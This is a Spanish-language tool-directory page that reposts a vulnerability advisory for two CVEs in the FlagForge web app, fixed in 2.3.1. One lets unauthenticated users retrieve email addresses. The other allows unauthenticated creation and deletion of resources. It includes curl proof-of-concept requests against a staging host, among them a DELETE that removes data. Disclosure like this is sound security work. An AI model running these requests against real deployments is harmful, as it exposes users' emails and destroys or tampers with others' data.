Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-59843-CVE-2025-59932 — CVE en FlagForge en las versiones 2.0.0 a 2.3.0. Actualice a la versión 2.3.1 para solucionar el problema. | Kitploit
Herramientas/GitHubGitHub/at0mxploit/cve-2025-59843-cve-2025-59932
Análisis de VulnerabilidadesRecopilación de InformaciónSeguridad WebPruebas de PenetraciónMala ConfiguraciónSeguridad de APIs
GitHubat0mxploit/cve-2025-59843-cve-2025-59932

CVE-2025-59843-CVE-2025-59932

CVE en FlagForge en las versiones 2.0.0 a 2.3.0. Actualice a la versión 2.3.1 para solucionar el problema.

Ver Repositorio
13hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-59843 & CVE-2025-59932

1. Exposición pública de direcciones de correo electrónico de usuarios CVE-2025-59843

Alcance / Aplicación afectada: FlagForge Web Application

Endpoint de API: /api/user/[username]

Detalles: El endpoint devuelve las direcciones de correo electrónico de los usuarios sin autenticación. Cualquier nombre de usuario puede ser consultado públicamente.

Causa raíz / Referencia de código:

root@kitploit:~
const user = await UserSchema.findOne({
  name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');

// No authentication check is performed
email: user.email, // Exposed publicly

Severidad (CVSS v4.0): 5.5 (Media)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L

Impacto: Los atacantes pueden enumerar usuarios y acceder a direcciones de correo electrónico, lo que podría provocar violaciones de privacidad.

Prueba de Concepto (PoC):

root@kitploit:~
curl "https://staging.flagforge.xyz/api/user/No%20Reply"
Sample Response:

{
  "success": true,
  "user": {
    "name": "No Reply",
    "email": "<REDACTED>",
    ...
  }
}

2. Posible modificación/eliminación no autenticada de recursos CVE-2025-59932

Alcance / Aplicación afectada: FlagForge Web Application

Endpoint de API: /api/resources

Detalles:

  • GET /api/resources expone todos los recursos públicamente.

  • Según la revisión del código, las solicitudes POST y DELETE no imponen autenticación ni autorización. Estas solicitudes no se probaron en el sistema en vivo para evitar afectar los datos de producción.

Encabezados observados (solicitud OPTIONS):

root@kitploit:~
❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block

Severidad (CVSS v4.0, si POST/DELETE no están autenticados): 7.8 (Alta)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red

Impacto: Si POST o DELETE no están autenticados, un atacante podría potencialmente crear o eliminar recursos, afectando la integridad de la plataforma.

Prueba de Concepto (PoC):

root@kitploit:~
curl -X GET "https://staging.flagforge.xyz/api/resources"

Esto te dará el _id de los recursos.

root@kitploit:~
curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'
root@kitploit:~
curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"

Descargar herramienta